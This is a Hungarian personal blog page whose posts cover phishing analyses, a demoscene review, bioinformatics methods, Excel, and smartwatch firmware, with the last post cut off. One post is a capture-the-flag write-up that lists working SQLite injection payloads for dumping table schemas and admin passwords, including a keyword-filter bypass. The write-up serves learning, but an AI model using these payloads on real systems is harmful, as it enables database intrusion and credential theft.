Az újságcikk szerint történt egy hatalmas hajós katasztrófa, ahol még a mentőhajó is felborult. Végül két halászhajó mentette ki az embereket. A cikk csupán a kapitány nevét említi, ezért tovább kell keresni a katasztrófa részleteit. Hol a kapitány, hol a hajók nevével keresgéltem, így akadtam erre az oldalra. Itt leírták az összes ember nevét, akik a mentésben részt vettek. Itt kellett megtalálni a kis hajósinas nevét, aki még kiskorú volt a mentés idején.

Nagyon jó kis OSINT feladat volt, egy kimondottan érdekes háttértörténettel. Mikor a feleségemnek meséltem, milyen feladatot kell megoldani, még ő is nekiállt keresgélni, pedig nem is szereti a "kiber dolgokat".

Szólj hozzá!

Címkék: biztonság

De hát elmúlt Húsvét!

2026.05.01. 20:18 Travis.CG

Egyik bejegyzésemben arról panaszkodtam, hogy nem látni szofisztikált jelszólopó módszereket, mindegyikről messziről virít, hogy átverés. Ahogy mondani szokás: vigyázz, mit kívánsz, mert teljesül. Nekem most teljesült egy kívánságom, kaptam egy egész jó adathalász levelet. Boncolgassuk is!

A levél egy létező e-mail címről jött, nem kamuról. A fejléc szerint valami cikket kellett volna átnéznem. Még ez is hihető volt. Az már kevésbé tűnt realisztikusnak, hogy egy magyar egyetem, magyar dolgozója angol nyelven ír nekem, ebből tudtam, hogy biztosan átverés. A másik hiba, amit elkövettek, hogy a levél törzsében már nem cikkről volt szó, hanem számláról.

A mellékletben volt egy PDF. Először attól tartottam, hogy a PDF JavaScript-et tartalmaz, ezért nem nyitottam meg, hanem a pdfinfo nevű programmal ellenőriztem.

pdfinfo.png

Mint látható, nincs benne sem JavaScript, sem titkosított rész. Ettől függetlenül nem mertem megnyitni a gépemen, hanem egy virtuális gépben tettem. Csak egy oldal volt, egy linkkel.

thepdf.png

Mivel a link egy dokumentumban szerepelt, a spam filteren átment. A link egy google forms-ra vezetett, ami szénné volt JavaScriptezve, esélyem sem volt megtudni, mit is kódolnak, úgyhogy a virtuális gépen megnyitottam. A google forms azért volt jó ötlet, mert nehéz kiszűrni az IT-nak. Mégsem tilthatják ki a guglit az egyetemről, nem?

gforms.png

De ezen kívül volt még egy réteg, mert ez az oldal csak arról akart meggyőzni, hogy le kell töltenem egy újabb dokumentumot.

A link egy másik oldalra vezetett, ahol a létező legtökéletesebb Microsoft Online bejelentkezést kaptam, ami csak létezik. Szinte hihetetlennek tűnt, hogy ilyen tökéletesen le tudták másolni. Még az oldal betöltését mutató animáció is hibátlan volt. Mint később ti is látni fogjátok, ez egy valódi Microsoft-os bejelentkező képernyő, nem utánzat.

Ez úgy derült ki számomra, hogy első blikkre meg akartam nézni az oldal forráskódját, és nem sikerült! Rutinból a billentyű kombinációt nyomtam meg, ami le volt tiltva, jobb egérgomb szintén. Ez már jelezte, hogy nem csak simán betölti a bejelentkező képernyőt, hanem valami mást is csinál, és ez a másik funkció rejtőzködik.

A böngésző menüjét viszont nem tudták blokkolni, így azon keresztül megláttam a forráskódot is.

jscode.png

A JavaScript figyelte, hogy esetleg Burp Suit-ot használok-e, és ha igen, akkor nem jeleníti meg az oldalt. Figyeli, milyen billentyűket nyomok le, és elküldi azt a támadóknak. Mindebből a felhasználó nem vesz észre semmit. Tényleg nagyon gyönyörű munka. Szokatlan volt, hogy nem obfuszkálták teljesen a kódot. Általában a támadók teljesen olvashatatlanná teszik a kódot, hogy ezzel is nehezítsék a felderítést.

Azért némi rejtegetés itt is volt. Egy viszonylag bonyolult módszerrel ellenőrizték, hogy honnan nyitották meg az oldalt. A reguláris kifejezést, amivel az ellenőrzést végezték, Base64-el kódolták, a dekódoló függvény nevét pedig elrejtették. Elképzelni sem tudom, mi szükség volt erre, miközben a letölthető JavaScript modulok URL-je szabadon olvasható. Az egész kód olyan, mintha valaki gyakorló feladatát látnám.

Szólj hozzá!

Címkék: biztonság

Light CTF

2026.04.19. 17:26 Travis.CG

A gépen két port volt nyitva, a 22-es és a 1337. Utóbbi egy telnet port, de ezt a leírásból is tudjuk. Ha csatlakozunk hozzá, egy kérdést kapunk csak:

Please enter your username:

A leírásban azt is megkapjuk, hogy a smokey nevű felhasználóval tesztelhetünk. Ha beírjuk, visszakapjuk a jelszót. Sajnos ezzel a jelszóval nem tudunk bejelentkezni. De az első kérdés úgyis az admin felhasználó név. Először írtam egy Python scriptet, hogy gyakori felhasználó neveket próbálgasson végig, de nem működött. Ezek szerint célravezetőbb a "többet ésszel, mint brute force-al" hozzáállás.

Azért poénból megnéztem, hogy kapok-e találatot a "bandit" vagy Burt Reynolds nevére. Nem kaptam.

Akkor valami injection-t kell használni. Először pontosvesszőt raktam a felhasználói névbe, de arra nem adott semmit. Utána "-t, de erre sem reagált. Egyszeres idézőjelre viszont kaptam hibaüzenetet!

Error: unrecognized token: "'ize'' LIMIT 30"

Limit 30? Csak nem SQL lekérdezést kell írni? Az "unrecognized token" viszont szokatlan. MySQL biztos nem ad ilyen hibaüzenetet. A kereső szerint SQLite adatbázissal van dolgunk. Oké, ez már ismerős terep. Ha kommentet akartam beírni, akkor is kaptam egy hibaüzenetet:

For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)

Oké, közeledünk. Mi a helyzet egy select-el?

Ahh there is a word in there I don't like :(

Ez nem jó hír. Mi van, ha egy kicsit megváltoztatjuk azt a selectet. Mondjuk Select-re? Erre már nem adott hibaüzenetet. Lássuk mi van az adatbázisban!

' Union Select name from sqlite_master where type='table

A válasz: admintable! Oké, mi van az admintable-ben?

' Union Select sql from sqlite_master where name='admintable

CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)

Ez már könnyű innen. 

' Union Select username from admintable where id = '1

Erre megkapjuk az admin felhasználó nevét. Egy ilyen CTF esetén kifizetődő a kíváncsiság. Kíváncsi voltam, mi van, ha 2-t írok be a lekérdezésbe. Erre azt írta ki, hogy flag! Tehát a válaszokat akkor kapjuk meg, ha a következő módszerrel próbálkozunk:

' Union Select password from admintable where id = '1

illetve

' Union Select password from admintable where id = '2

Nagyon jó kis SQL Injection CTF volt! Ez most így olvasva egyszerűnek tűnik, de én SqlLite-ban a .table-t szoktam használni, hogy megtudjam a táblák nevét, a lekérdezésekre úgy kerestem rá. Sokszor lefagyasztottam a lekérdezést, mert beírtam a jó öreg or 1 = 1-t, ami itt nem működött. Az idézőjel sem volt egyértelmű, próbálgattam a "-t is, amíg rá nem jöttem a pontos szintaxisra. A select sql-re meg teljesen véletlenül akadtam rá az oszlopnevek lekérdezését keresve.

Szólj hozzá!

Címkék: biztonság

Cseppet sem objektíven: Revision 2026

2026.04.12. 14:36 Travis.CG

Ha itthon maradok Húsvétra, Revision-re vágyom, ha elmegyek, az itthoni dolgokon agyalok. Úgy gondolom, jobb lett volna elmenni (ebből tudhatjátok, hogy maradtam.). Fenébe a stream-el! Elmentünk a szokásos családlátogatásra, ahol apósom ilyet szólt, "lassan vége ennek a demózásnak". Nem hiszem, hogy értené, mit jelent: "demo or die". A streamet nem tudtam folyamatosan követni, mert a legkisebb gyerekkel zombikra kellett lövöldözni, vagy akkora hangzavar volt, hogy nem hallottam semmit. Azért amit tudtam, követtem, amit nem sikerült megnézni, azt utólag pótoltam.

Tracker music

Az All In Days Work tetszett a legjobban Curt Cool-tól.

Ascii Art

Két kedvencem volt a compóról, a Public Domain, ami régi filmek publikussá tételét ünnepelte. A képek alapján nem tűnt ismerősnek egyetlen film sem, de érdemes lenne utána nézni. A másik a Greetings, Earthlings volt, mert olyan színes volt. Több alkotás is a Moebius-al készült.

Oldskool music

A legszokatlanabb újítás, hogy idén 2M volt a limit. Ez a legtöbb régi hardver limitációját ismerve olyan, mintha egy autóversenyen megtiltanák, hogy átlépjék az első kozmikus sebességet. A Catalysis nagyon furcsa volt, meg kellett hallgatnom még egyszer, hogy el tudjam dönteni, hogy a glitch effekt valódi, vagy csak a stream szórakozott. A Related Searches jól indult, de hosszú lett. Glacial Heart volt a kedvenc.

3D graphics

A Till Death Do Us Part egy nagyon kidolgozott modell volt, nem volt olyan rajzfilm-szerű, mint a többi.

Animation/Video

Nosfe kétszer is beadta ugyan azt. Az első verzió fekete-fehér, a második színes volt. Most nem tetszett egyetlen videó sem, bár az amKLga-án kicsit nevettem. A győztes alkotást pedig nem értettem, még második megtekintés után sem.

3D printing

Szponzis compó. Egy olyan CoolerMaster házra kellett bigyókat nyomtatni, amit úgy terveztek, hogy bigyókat lehessen rá nyomtatni. A leghasznosabb egy külső drive volt, a legcoolabb pedig Topy 32x32-es led panelje.

Fast music

Maximum 30 másodperces lehetett egy zene, és nem akarok hazudni, de fájdalmas volt hallgatni a legtöbbet. Turbo Knight persze jó volt még ebben a kategóriában is, de fél perc alatt milyen zenét lehet élvezni?

Streaming music

Ha már a zenénél tartunk, akkor ezt érdemes hallgatni. Bár most nekem nem volt kedvencem a kompóról, szerintem nem voltak rosszak az indulók.

Executable music

Ez egy kicsit más tészta, mint a streaming, mert a zenét programkódból kell előállítani, méghozzá elég kicsi programokból. Tenfour száma nyert, ami nem is meglepő. Hallgassátok meg a gazdag hangszerelést, változatos dinamikát itt. Tetszik? Csak 32k ami mindezt előállítja.

4K executable graphics

A Trans Solidarity meglepő technikát alkalmazott, kis emberkékből állt össze a kép. Boyc is indult az Entangled című alkotással, ami szerintem kimagaslott a mezőnyből. Bár a Lost Media sem volt rossz, én előbbit tettem volna győztesnek.

Oldskool graphics

Három kedvencem volt a kompóról. A don't spit into the wind, az Arrival on Valthoria és a fiú a vizidisznójával. Ez utóbbit AI gyanúsnak bélyegezték páran, én meg nem vagyok azon a szinten, hogy ezt el tudjam dönteni.

Oldskool demo

Alig volt C64 induló, ami meglepett, és akik indultak, azok sem erőltették meg magukat. Cserébe kaptunk C16, Amstrad, PC és egy Atari 2600-as demót. Ez utóbbi nagyon komoly alkotás. Aki nem érti, miért, annak javaslom, nézze meg, milyen játékok jelentek meg a géptípusra. Konkrétan annak idején egyszínű téglalapokból álltak a karakterek!

Amiga intro

Két kedvencem is volt, az egyik a Back to Pixelated World, ami vektor grafikaként indult, majd egy platform játékba ment át, végül a címmel ellentétben visszaváltott vektor grafikába. Ennek ellenére nekem tetszett. A másik kedvenc a 64k-Silhouette volt. Ez sokkal konzisztensebb volt az előbbinél, remek kód és kiváló látvány jellemzi.

Amiga demo

Az idei Amigás demók érzésre visszafogottabbak voltak, mint korábban. A Second Nature erőlködés nélkül tudott nyerni. Szó se róla, hangulatos demó, többször is meg lehet nézni. Nekem különben a High Score is tetszett, de szinte biztos vagyok benne, hogy egy sarokba szorított veterán Amigás intróba lekódolja.

64k intro

Emberek, mi a fene történik a nagyvilágban!? Mi ez, hogy ennyi 64k intró van? Tizenhárom induló? Ha hihetünk a Pouet.net-nek, akkor 2024-ben és 2025-ben összesen 16 intró készült Windows-ra. Előző két évben 12! Mit képzelnek ezek az emberek, hogy így összezavarják a trendeket és a statisztikát! (Oké, az összehasonlíthatóság kedvéért meg kell jegyezni, hogy a compóban csak 9 Windows-os induló volt). Komolyra fordítva a szót, nagyon jó volt ennyi 64k-t látni. Nézzétek meg ti is az összeset.

PC Demo

Ha az idei demó termés nem is volt olyan bő, mint 2023-ban, azért nem lehet panasz az indulók számára. A győztes Razor1911 nem semmi alkotást tett le az asztalra. Kicsit a nosztalgia hullámra építettek a demót, de a jó értelemben. A csapat 40 éve aktív, amit leírni is döbbenet, és ők sokáig crackerként is működtek, még a 2000-es években is. Habár a tagok cserélődtek az idők során (sőt, sokan el is hunytak mára), a csapat szellemisége óriási időt ölel át. A demó vizualitása nagyon sok apró részlettel mutatja be ezt. Nem csak a crackeléshez használt debuggerek felhasználói felületén keresztül, de egy-egy híresebb grafikával is. A jelenetek organikusan egymásba folynak, mint egy nagy folyam. Ha apósomnak, vagy bárki másnak el akarnám magyarázni, mit jelent a "demo or die", akkor ezen a demón keresztül tenném. Architektúrák jönnek-mennek, a programozás metodikája változik, de az nem, hogy vannak emberek, akik leülnek, és release-eket készítenek. A módszer változik, az alkotás marad.

Szólj hozzá!

Címkék: demoscene

Kompozíciónális adatelemzés a mikrobiológiában

2026.04.03. 08:01 Travis.CG

A Mátrixban van egy jelenet, hogy Neo az utcát nézi, miután megvilágosodott:

Valahogy én is így éreztem magam, miután rájöttem, hogy totál rosszul értelmeztem eddig a metagenomikai szekvenálásokat. Ugyanis valami miatt úgy gondoltam, hogy ez a fajta szekvenálás egy random mintavétel a környezetből, tehát az ott tapasztalható arányok megfeleltethetőek a környezetben előforduló baktérium közösségek arányának. Persze, tudtam, hogy vannak taxonok, amik kimaradnak a detektálásból, és tudtam, hogy a módszerben lehetnek torzítások, ami miatt bizonyos taxonok felülreprezentáltak lesznek, ezeket elhanyagolhatónak véltem. Sőt, úgy gondoltam, az eredményként kapott táblázatokból nyugodtan szűrhetek, minden féle transzformáció nélkül, mert a kapott adat rekordok egymástól függetlenek.

Nagyon rosszul tudtam.

Ha egy mintavétel felülről korlátos (márpedig a szekvenálás ilyen, a készülék áteresztő képessége véges), akkor a kapott eredmény úgynevezett kompozíciónális adat. Ez azt jelenti, hogy az adott mennyiség, amit kapunk, nem releváns, csak az arányok. Ha egy hasonlattal kéne élnem, akkor azt mondanám, a kompozícionális adat olyan, mintha nylon zacskókat kellene dobozba rakni. Hiába nyomjuk össze a zacskókat, azok elkezdik visszanyerni eredeti alakjukat, ha megszűnik az erőhatás. Ha csak kettő zacsit teszel a dobozba, az a kettő fogja kitölteni azt. Ha tizet, akkor tíz zacskó tölti ki az egész teret. Nem számít, hogy kisebb, vagy nagyobb dobozt használunk, mert a zacskók akkor is kitöltik a rendelkezésre álló helyet.

Talán ebből a hasonlatból is látható, hogy nem lehet önkényesen zacskókat kivenni, mert a többi zacskó egymáshoz viszonyított aránya megváltozik. Éppen ezért, ha egy adat nulla, akkor az nem feltétlenül jelenti, hogy az adat nincs jelen, csupán azt, hogy a többi komponenshez képest elenyésző az aránya. De ennek eldöntése szinte lehetetlen. (A másik, inkább matematikai probléma, hogy nulla méretű zacskókból akár végtelen mennyiségűt is belerakhatunk, amitől meg fogunk bolondulni, ha értelmezni akarjuk.)

Éppen ezért az olyan technikák sem működnek, hogy "egymillió readre normalizálok, és csókolom". Csupán annyit tettem, hogy egy nagyobb dobozba raktam az adatokat, de a köztük lévő relációt nem oldottam fel. Hasonló okokból kifolyólag a kedves kis korrelációk, lineáris modellek és más statisztikai eljárások sem alkalmazhatóak. Legalábbis közvetlenül nem. (Pedig el nem tudom mondani, mennyi korrelációt számoltam ilyen adatokon...)

Az RNS-seq adatok is kompozícionális adatok. Miért nem lehet őket a mikrobiológiában használni? Azért, mert az RNS-seq esetén abból indulunk ki, hogy a kezelés hatására nem változik jelentősen a rendszer (nevezetesen az élő sejt, amit vizsgálunk). Ha nagyon megváltozna, akkor a sejt meghalna, és már nem tudnánk vizsgálni. A bakteriális közösségekre nézve nem élhetünk ilyen megkötésekkel. Csak egy otthoni példára gondolva, ha végiglocsolom fertőtlenítővel a padlót, akkor az azonosítható taxonok aránya drasztikusan meg fog változni.

A geostatisztikában már évek óta bevett gyakorlat a kompozícionális adatok használata, mert a kőzetek összetételét százalékosan adják meg. Valahogy nekem ez a rész kimaradt. Szóval vissza a suliba! Meg kell értenem pontosan ennek a módszernek a lényegét. Jelenleg a következő irodalmakat bújom:

https://pubmed.ncbi.nlm.nih.gov/29187837/
https://pubmed.ncbi.nlm.nih.gov/35830875/
https://link.springer.com/book/10.1007/978-3-319-96422-5

Szólj hozzá!

Címkék: statisztika bioinformatika

Excel, mint büntetés

2026.03.22. 11:41 Travis.CG

A helyzet az, hogy egyre többet kell dolgoznom Excellel, és még ennyi év után is meg tudok lepődni azon, hogy mennyire béna ez a program. Én nem vagyok egy kényes felhasználó, boldogulok Gimp-el, Blendert is már a korai verzióktól használok. Amikor kritikával illetik ezen programok felhasználói felületét, akkor igazat kell adnom nekik. Borzalmasak. Viszont a frusztráló felület mögött van egy olyan logika, amit megismerve az ember boldogul velük.

Az Excelben a logikát hiányolom.

Első példa: egy takarosan beformázott Excel cellából el kellett távolítani a linket. Mármint a linket, mint tulajdonságot. Én naívan jobb egérgombbal klikkeltem, majd a link eltávolítása menüpontra. Tényleg eltűnt a link. Az összes formázással együtt. Azok miért tűntek el? Végül a net segítségével sikerült megoldani a dolgot, mert más felhasználónak is pont ugyan ez volt a gondja. Kiderült, hogy van a menük között is egy link eltávolítása, ami csak nevében ugyan az, mint a jobb egérgombos funkció.

A második példa megoldása sokkal nehezebb volt. Egy hétköznapi adattisztítás volt, ahol a dátumok 90%-a kötőjellel volt elválasztva, 10% ponttal. Nagy volt a kísértés, hogy exportáljak, és sed-el oldjam meg a feladatot, de én úgy gondoltam, ha már úgyis ezzel a programmal kell szenvednem, talán érdemes jobban megismernem. A cellaformázással szenvedtem fél órát, majd úgy döntöttem, az időm többet ér. Mentem parancssor alá.

Otthon elmeséltem gyötrelmeimet, mire a feleségem kinevetett, hogy ennyi informatikai ismerettel képtelen voltam megoldani ezt az egyszerű problémát. Meg akarta mutatni, hogy milyen egyszerű. Először 10 percig néztem a próbálkozásait. Utána azt néztem, ahogy az AI segítségével próbálja megoldani. Itt, bevallom elvesztettem a fonalat, mert egy ponton a magyar Windows-on futó angol Excelnek angol területi beállításokkal kellett volna idézőjelet beírni, amit a feleségem a Word segítségével állított elő. Ez sem működött, úgyhogy én elmentem TryHackMe-zni. Megcsináltam a napi feladataimat, utána kíváncsiságból megnéztem, ő hol tart: a laptop képernyőjén plusz oszlopok voltak, nyitva volt a függvény bevitel, a böngésző három füllel. Elmentem vacsorát adni a gyereknek. Végül felhangzott a feleségem diadalmas kiáltása. Megcsinálta!

Nem kellett más, csak egy függvény, amivel a cellákat szöveggé alakította, cellaformázás szöveggé, mert a függvény bizonyos cellákat nem szeretett, majd keresés, csere, mindent cserélni, és kész volt. Megdícsértem a heroikus küzdelméért, majd magamban annyit mondtam: sed rulez.

2 komment

Címkék: életmód

PlatformIO, sallangok nélkül

2026.03.15. 10:25 Travis.CG

Elérkezett az idő, hogy az okosóra kapjon egy szebb firmware-t, mint amit ráraktam. A legfejlettebb firmware telepítéséhez kell a PlatformIO, VS Code, meg minden. Nem vagyok a VS Code ellensége, de nem érzem semmi szükségét, hogy telepítsem, ha csak ki akarok próbálni valamit.

A PlatformIO telepítése elég egyszerű:

wget -O get-platformio.py https://raw.githubusercontent.com/platformio/platformio-core-installer/master/get-platformio.py
python3 get-platformio.py

A home könyvtárban találunk majd egy .platformio könyvtárat, azon bellül a penv/bin könyvtárban lesznek a futtatható állományok. Nekünk ezek közül a pio lesz az érdekes. Ha akarjuk, betehetjük a PATH-ba, hogy bárhol elérhessük. Én nem vesződtem ilyen apróságokkal.

Ezután letöltjük a firmware-t egy nekünk kedves könyvtárba:

git clone https://github.com/sharandac/My-TTGO-Watch

A firmware több eszközön is fut, nekünk be kell állítani azt, amire fordítani akarjuk. Ehhez szerkeszteni kell az src/config.h fájlt. Mivel nekem még a régi típus van meg, ezért én a következő sort szúrtam be rögtön a 24. sorba:

#define LILYGO_WATCH_2020_V1

És jöhet a fordítás.

~/.platformio/penv/bin/pio run

Amilyen kicsi az eszköz, olyan sokáig tart lefordítani a kódot. A program leszedi a teljes toolchain-t, ami a kód előállításához kell. A szükséges információkat a platformio.ini fájlból szedi. Persze mi az eszközön szeretnénk látni a végeredményt. Kössük rá az órát az számítógépre. Ellenőrizhetjük, hogy a rendszer látja-e:

~/.platformio/penv/bin/pio device list

Ha minden jól megy, és van jogosultásgunk, rendben van a kábel, akkor láthatjuk az óra adatait. Rakjuk rá a firmware-t:

~/.platformio/penv/bin/pio run --target upload

Lehet örülni.

Alapvetően elégedett vagyok a firmware-el. Az én órámban nincs GPS, ezért minden helymeghatározós app teljesen felesleges rajta. Az akkumulátor töltöttsége mutató néha furcsa értéket mutat, de többségében konzisztens. A lépésszámláló elég korrekt. A naptár nagyon kicsi ehhez a képernyőmérethez, de egy érintő tollal jól kezelhető. Ez utóbbi megállapítás igaz minden beviteli mezős funkcióra. A wifi jelszót az ujjaimmal nehéz lett volna beírni. Van hozzá okostelefonos app is, azt nem próbáltam.

Szerintem ez a firmware remek alap, hogy az ember testre szabja. Meg is lehet tekinteni a különböző forkokat a GitHub oldalon.

twatch_1.jpg

Szólj hozzá!

Címkék: programozás

Nagy nyelvi modellek a bioinformatikában

2026.03.01. 10:05 Travis.CG

A bioinformatikában is vannak divatok. Megjelenik valami új technológia, és hirtelen az válik minden probléma megoldásává. Ilyen volt a rejtett markov láncok a 2000-es évek elején, Hadoop 2008-ban, a mélytanulás 2017-ben, most pedig a nagy nyelvi modellek segítségével akarják a kutatók megfejteni a genomok titkait.

Az ötlet abból indul ki, hogy a DNS (vagy fehérje) lánc egyes régiói más funkciókkal bírnak, és ezen régiók sorrendje hasonló az emberi nyelv szerkezetéhez. Kétségtelen, hogy népszerű analógia, de szerintem teljesen téves. A nukleotid sorrend nem nyelv. Nem gondolatok közlésére való, hanem információ tárolásra, amit a megfelelő pillanatban elő kell hívni. Egy nyelvet egy három éves gyerek megért és használ. De én még egyetlen kutatóval sem találkoztam, aki folyékonyan beszélne DNS-ül.

Ez minden esetre az én véleményem, elképzelhető, hogy a nagy nyelvi modellek sikeresek lesznek. Inkább nézzük meg, eddig milyen eszközök és milyen sikerek vannak.

DNABERT

A DNABERT egy nyelvi modell a humán nem kódoló DNS szakaszokhoz. A tanítás során 512 bázispár hosszú szekvenciákat használtak különböző hosszúságú k-mer tokenizálással. A betanított modellt saját, kis elemszámú adattal mi magunk is testre szabhatjuk, hogy olyan struktúrát keressen, amilyet mi szeretnénk. Nyilvánvaló hátránya, hogy legfeljebb a core promóter elemzésére képes.

ERNIE-RNA

Második programunk szintén egy nagy nyelvi modell, de RNS szerkezeti predikcióra specializált. Korábban is léteztek egyszerű algoritmusok az RNS szerkezetének meghatározására, de azok csak a loopok meghatározására szoltáltak. Az ERNIE-RNA egy lépéssel tovább megy, mert a másodlagos szerkezet mellett funkcionális annotációt is végez. Személy szerint ennek több értelmét látom, mint a DNS elemzésnek. Először is, az RNS-ek rövidebbek, nem kell attól tartani, hogy távoli enhancerek befolyásolják az adott régió funkcionalitását. Másodszor a modell tanításához van elég cimkézett adat. A nem kódoló DNS-t még nem értjük teljes mélységében, ezért szerintem megfelelő tanuló adatot sem tudunk még összeállítani.

ESMFold

Ez a program a Facebook válasza az AlphaFold-ra, ugyanis egy nyelvi modell segítségével igyekszik meghatározni a protein 3D szerkezetet. A programot három éve nem fejlesztik, amiből én arra következtetek, hogy nem volt sikeres az AlphaFold ellen. Egyébként nem tudom, mennyire jó. Van viszont egy olyan funkciója, hogy a 3D struktúrából határozza meg az aminosav sorrendet. Ez elég érdekesnek tűnik, lehetne használni evolúciós modellezésre, mert lehetne nézni, hogy milyen aminosav sorrendek vezetnek ugyan olyan térbeli struktúrákhoz. A program arra is jó példa, hogy csak azért, mert LLM alapú valami, még nem lesz automatikusan sikeres. Még akkor sem, ha egy olyan cég támogatja, mint a Facebook.

Forrás

https://onlinelibrary.wiley.com/doi/10.1002/qub2.70026
https://academic.oup.com/bioinformatics/article/37/15/2112/6128680?login=false
https://www.nature.com/articles/s41467-025-66899-y
https://www.nature.com/articles/s41467-025-64972-0
https://www.nature.com/articles/s41592-021-01252-x
https://www.science.org/doi/10.1126/science.ade2574

Szólj hozzá!

Címkék: bioinformatika

A nagy átverés

2026.02.21. 11:25 Travis.CG

Az egyetem, ahol dolgozom, nagy hangsúlyt fektet a spamek visszaszorítására. Még online képzési anyagot is összeállítottak a felhasználók oktatására, amit kötelező volt elvégezni.

Egy hét elteltével megint kaptam egy spam-et, amit szokás szerint megvizsgáltam. A feladó valami office365online címről küldte a leveleket, amit könnyű összekeverni az office365-el, amit az egyetem is használ. Az első furcsa dolog az volt, hogy a spam UUID-t használt az URL-ben. Az eddigi spamek nem sokat foglalkoztak ilyesmivel, mindenki ugyan azt az emailt kapta. Az egyedi azonosító azt feltételezi, hogy van egy adatbázis is, ahol az UUID és az email címet összekapcsolják. Nem is mertek ráklikkelni, mert a szerver már azt is loggolhatja.

A támadók tehát bejegyeztek egy domaint, nem feltört oldalakról küldték a spam-et. Gondoltam megnézem az IP cím geolokációját. Itt jött a második meglepetés. A IP az egyetem hálózatához tartozott! Mi a fene? Feltörték az egyetem egyik szerverét és onnan küldik a spam-et? Ennyit ér a sok képzés, kibervédelem? Már az egyetemről kapjuk a spam-et?

Elkezdtem nézegetni a webszervert, hátha az UUID-s link nélkül is találok valamit, de nem találtam semmit. UUID ide vagy oda, kénytelen vagyok megnézni a linket. Mint az várható is volt, emailt és jelszót kértek, de a forráskód elemzéséből az derült ki, hogy nem volt HTML form-ba ágyazva. Teljesen összezavarodtam. Feltörnek egy szervert, adatbázissal megpakolt webszervert futtatnak rajta, spam-et küldenek, majd a lopott jelszavakat nem tárolják. Ennek semmi értelme!

Elkezdtem nézni a summit gombhoz tárolt eseményeket. A javascript kódban volt egy URL, amire akkor ugrik az oldal, ha a felhasználó ráklikkel. Megnézem mi az. Egy üzenet volt rajta: "Ne adja meg a jelszavát idegen weboldalakon. Köszönettel: IT részleg."

Francba! Az egyetem csak a képzés hatékonyságát mérte. A sok bohóckodásommal most biztos úgy tartanak nyilván, mint akinél nem volt eredményes az oktatás, és gondolkodás nélkül megadja mindenhol a jelszavát.

Szólj hozzá!

Címkék: biztonság

ChIP-seq minőségi ellenőrzés

2026.02.10. 08:04 Travis.CG

Az immunoprecipitáción alapuló szelvenálási módszerek sokkal körültekintőbb ellenőrzést igényelnek, mint a "hagyományos" DNS vagy RNS szekvenálás. Bár a címben ChIP-seq szerepel, az itt leírtak szinte minden immunoprecipitáción alapuló módszerre (CUT&RUN, ChIP-exo, Dip-seq) alkalmazhatóak.

Az első lépés természetesen a kapott FASTQ fájlok ellenőrzése például a FastQC programmal. Itt ugyan azok az elvek érvényesek, mint bármilyen más szekvenálás ellenőrzésénél, bár a szekvencia duplikáció magasabb lehet, mivel a teljes genomnak csak egy kis részét szekvenáljuk. Ha a FASTQ fájlok megfelelőek, akkor más módszereknél megnyugodhatunk, hogy az elemzéssel nem várható komoly gond (hacsak nincs kontamináció), viszont ChIP-seq akkor is lehet használhatatlan, ha a FASTQ fájlok tökéletesek.

A szekvenciák illesztése ugyan úgy zajlik, mint más esetben. Amennyiben adaptor szennyezést tapasztaltunk, természetesen azokat levághatjuk, de a BWA úgysem illeszti az idegen részeket. Az illesztett readek aránya ugyancsak hasznos információ, 90% alatt nem szabadna lennie.

Utána jöhet a peak keresés. Ezt legtöbbször a macs3-al végezzük, de meg kell jegyezni, hogy bár ez a legelterjedtebb peak kereső, vannak más alternatívák, és lehetnek olyan kísérleti elrendezések, ahol a macs3 nem a legjobb választás. Ökölszabályként elmondhatjuk, hogy 10 ezer alatti peakszám valami problémát jelent.

Az immunoprecipitáció nem egy egyszerű lépés, ezért minden mintát kétszer szekvenálnak meg. Van egy úgynevezett "input", ahol a szekvenálás immunprecipitáció nélkül történik. A párja természetesen az "IP", ahol a korábban említett lépést nem hagyják ki. Ez a két minta alkot egy egységet. Bár vannak bátrabb bioinformatikusok, akik input nélkül elemeznek, és tőlem is többször kérték, hogy "azért nézzük meg input nélkül is...", tudni kell, hogy a sokkal jobb jel-zaj arányt kapunk, kevesebb lesz a fals pozitív, ha inputot is használunk.

A peak fájlok BED formátumúak, a fő információ a kromoszóma koordináta, a legtöbb program azt használja, még akkor is, ha a macs3 további értékeket tárol.

ChIPQC

Ez egy nagyon jó R csomag lenne, ha nem tartalmazna 11 éves elavult függőséget, ami miatt a legújabb Bioconductor nem tartalmazza. Nekem is csak azért működik, mert kézzel forgattam a csomagot és a kérdéses függőséget. Használata nagyon egyszerű:

sample <- ChIPQCsample("ip.bam", peaks="NA_peaks.narrowPeak", annotation="hg19")

A két minta közül az IP-t kell megadni illesztésként, a peak fájlt, valamint a genom annotációját. Táblázatos formában megkapjuk az összes hasznos minőségi mutatót a következő paranccsal:

QCmetrics(sample)

Lássunk egy kimenetet:

      Reads    Map%  Filt%  Dup%  ReadL   FragL RelCC   SSD  RiP%
3320201.000 100.000 37.700 0.000 51.000 174.000 0.683 0.237 2.210 

Ez egy tipikusan rossz kísérletből származik. Habár a readek 100%-a illeszkedik a genomra (ez a duplikáció kiszűrése utáni BAM fájl, de eredetileg is 96% volt. És ezért 0% a Dup oszlop), a peakekre csak a readek 2,21% esik (RiP, read in peaks), ami nagyon rossz. Az SSD a normalizált lefedettségből készített hisztogram szórása, amire a dokumentáció azt írta, "minél nagyobb, annál jobb". Nos, jó kísérleteknél ez 20-40 is lehet, de tipikusan 2-3. A 0.237 nem elfogadható. Végül a RelCC egy olyan mérőszám, ami a forward és reverz readek lefedettsége között számol korrelációt.

DiffBind

Ez a csomag különbségeket keres a kezelt mintában, viszont van pár nagyon hasznos funkciója, amivel a minták minőségét vizsgálhatjuk. Ha vannak ismétléseink, és nem csak egy mintával akarjuk megváltani a világot, akkor fontos tudni, hogy van-e batch effekt, nem történt-e minta összecserélés, vagy bármi olyan, amit a laborosok kerek perec képtelenségnek tartanak (és amiről utólag kiderül, hogy nem is olyan képtelenség).

A program használatához készíteni kell egy DataFrame-et, ami tartalmazza a mintákat, illesztett BAM-ok, peak-ek elérési útját, kezelést, ismétlések számát, . Ezen kívül bármilyen más információt felvihetünk, de ez a minimum, ami szükséges.

sampleSheet <- data.frame(SampleID=c("c1","c2","em1", "em2"),
Tissue=c("unknown", "unknown","unknown","unknown"),
Treatment=c("control","control","treatment","treatment"), Replicate=c(1,2,1,2),
bamReads=c("bams/c1ip.bam", "bams/c2ip.bam", "bams/em1ip.bam", "bams/em2ip.bam"),
bamControl=c("bams/c1input.bam", "bams/c2input.bam", "bams/em1input.bam","bams/em2input.bam"),
